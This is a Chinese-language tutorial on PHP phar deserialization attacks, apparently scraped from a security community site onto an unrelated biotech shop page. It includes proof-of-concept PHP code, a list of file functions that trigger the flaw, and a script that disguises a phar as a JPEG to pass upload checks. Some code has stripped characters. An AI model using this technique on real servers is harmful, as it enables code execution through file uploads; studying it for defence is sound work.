4000-520-616
欢迎来到免疫在线!(蚂蚁淘生物旗下平台)  请登录 |  免费注册 |  询价篮
主营:原厂直采,平行进口,授权代理(蚂蚁淘为您服务)
咨询热线电话
4000-520-616
当前位置: 首页 > 新闻动态 >
新闻详情
phar相关安全知识总结 - 先知社区
来自 : xz.aliyun.com/t/6...?page=5 发布时间:2021-03-25
00000000: 3c3f 7068 7020 5f5f 4841 4c54 5f43 4f4d ?php __HALT_COM00000010: 5049 4c45 5228 293b 203f 3e0d 0a5b 0000 PILER(); ? ..[..00000020: 0001 0000 0011 0000 0001 0000 0000 0025 ...............%00000030: 0000 004f 3a34 3a22 5573 6572 223a 313a ...O:4:\"User\":1:00000040: 7b73 3a34 3a22 6e61 6d65 223b 733a 343a {s:4:\"name\";s:4:00000050: 2274 6573 7422 3b7d 0800 0000 7465 7374 \"test\";}....test00000060: 2e74 7874 0400 0000 46fc 6e5d 0400 0000 .txt....F.n]....00000070: 0c7e 7fd8 b601 0000 0000 0000 7465 7374 .~..........test00000080: 9d18 4c48 ba24 6ed6 a810 3690 2aac 034e ..LH.$n...6.*..N00000090: 6aee e818 0200 0000 4742 4d42 j.......GBMB

可以看到,有一部分是序列化之后的内容,就是我们在上一部分所说的manifest也就是meta-data

phar序列化原理

使用phra://伪协议读取文件的时候,文件会被解析成phar对象,这个时候,刚才那部分的序列化的信息就会被反序列化,这就是漏洞的原理。

简单的测试一下:还是利用刚才的代码生成的test.phar文件

 ?php class User{ var $name; function __destruct(){ echo \"test\";$file = \"phar://test.phar\";@file_get_contents($file);

运行结果显示调用了User类的析构函数。

根据以上代码的测试可知,只要phar://协议解析文件的时候,就会造成序列化的问题,类似这样的函数不光有file_get_contents还有其他函数;

有大牛曾经总结过,所有文件操作的函数都可以触发这种序列化:

fileatime / filectime / filemtimestat / fileinode / fileowner / filegroup / filepermsfile / file_get_contents / readfile / `fopen``file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writableparse_ini_fileunlink

还有大牛深入的分析过这些函数的原理,并且加以扩展:

exif_thumbnail

exif_imagetype

imageloadfont

imagecreatefrom***

hash_hmac_file

hash_filehash_update_filemd5_file

sha1_file

get_meta_tags

get_headers

getimagesize

getimagesizefromstring

几乎所有和IO有关的函数都涉及到了

利用条件分析

对环境的要求无非就是可以让程序的后端使用上述列出来的函数或者其他函数加载我们上产的phar文件,所以对环境也无非有以下要求:

可以上传我们构造的phar文件

这要求服务器端可以上传,或者自动生成,既然phar的文件标识是

xxx ?php xxx; __HALT_COMPILER();? 

我们可以构造xxx 实质成为我们想成为的任何文件,最常见的利用方式就是将其变为gif文件 ,就是把文件上加上\"GIF89a\"即可,

可是,如果要是要求上传一个真的图片呢:

可以通过这个思路构造一个图片以下是脚本:

 ?phpclass TestObject {}$jpeg_header_size = \"\\xff\\xd8\\xff\\xe0\\x00\\x10\\x4a\\x46\\x49\\x46\\x00\\x01\\x01\\x01\\x00\\x48\\x00\\x48\\x00\\x00\\xff\\xfe\\x00\\x13\".\"\\x43\\x72\\x65\\x61\\x74\\x65\\x64\\x20\\x77\\x69\\x74\\x68\\x20\\x47\\x49\\x4d\\x50\\xff\\xdb\\x00\\x43\\x00\\x03\\x02\".\"\\x02\\x03\\x02\\x02\\x03\\x03\\x03\\x03\\x04\\x03\\x03\\x04\\x05\\x08\\x05\\x05\\x04\\x04\\x05\\x0a\\x07\\x07\\x06\\x08\\x0c\\x0a\\x0c\\x0c\\x0b\\x0a\\x0b\\x0b\\x0d\\x0e\\x12\\x10\\x0d\\x0e\\x11\\x0e\\x0b\\x0b\\x10\\x16\\x10\\x11\\x13\\x14\\x15\\x15\".\"\\x15\\x0c\\x0f\\x17\\x18\\x16\\x14\\x18\\x12\\x14\\x15\\x14\\xff\\xdb\\x00\\x43\\x01\\x03\\x04\\x04\\x05\\x04\\x05\\x09\\x05\\x05\\x09\\x14\\x0d\\x0b\\x0d\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\".\"\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\xff\\xc2\\x00\\x11\\x08\\x00\\x0a\\x00\\x0a\\x03\\x01\\x11\\x00\\x02\\x11\\x01\\x03\\x11\\x01\".\"\\xff\\xc4\\x00\\x15\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\xff\\xc4\\x00\\x14\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xda\\x00\\x0c\\x03\".\"\\x01\\x00\\x02\\x10\\x03\\x10\\x00\\x00\\x01\\x95\\x00\\x07\\xff\\xc4\\x00\\x14\\x10\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x01\\x05\\x02\\x1f\\xff\\xc4\\x00\\x14\\x11\".\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x03\\x01\\x01\\x3f\\x01\\x1f\\xff\\xc4\\x00\\x14\\x11\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\".\"\\xff\\xda\\x00\\x08\\x01\\x02\\x01\\x01\\x3f\\x01\\x1f\\xff\\xc4\\x00\\x14\\x10\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x06\\x3f\\x02\\x1f\\xff\\xc4\\x00\\x14\\x10\\x01\".\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x01\\x3f\\x21\\x1f\\xff\\xda\\x00\\x0c\\x03\\x01\\x00\\x02\\x00\\x03\\x00\\x00\\x00\\x10\\x92\\x4f\\xff\\xc4\\x00\\x14\\x11\\x01\\x00\".\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x03\\x01\\x01\\x3f\\x10\\x1f\\xff\\xc4\\x00\\x14\\x11\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\".\"\\x00\\x08\\x01\\x02\\x01\\x01\\x3f\\x10\\x1f\\xff\\xc4\\x00\\x14\\x10\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x01\\x3f\\x10\\x1f\\xff\\xd9\";$phar = new Phar(\"phar.phar\");$phar- startBuffering();$phar- addFromString(\"test.txt\",\"test\");$phar- setStub($jpeg_header_size.\" __HALT_COMPILER(); ? \");$o = new TestObject();$phar- setMetadata($o);$phar- stopBuffering();

上如,可以生成一张正常的图片来绕过getimagesize的检测

本文链接: http://globphar.immuno-online.com/view-730080.html

发布于 : 2021-03-25 阅读(0)
公司介绍
品牌分类
其他
联络我们
服务热线:4000-520-616
(限工作日9:00-18:00)
QQ :1570468124
手机:18915418616
官网:http://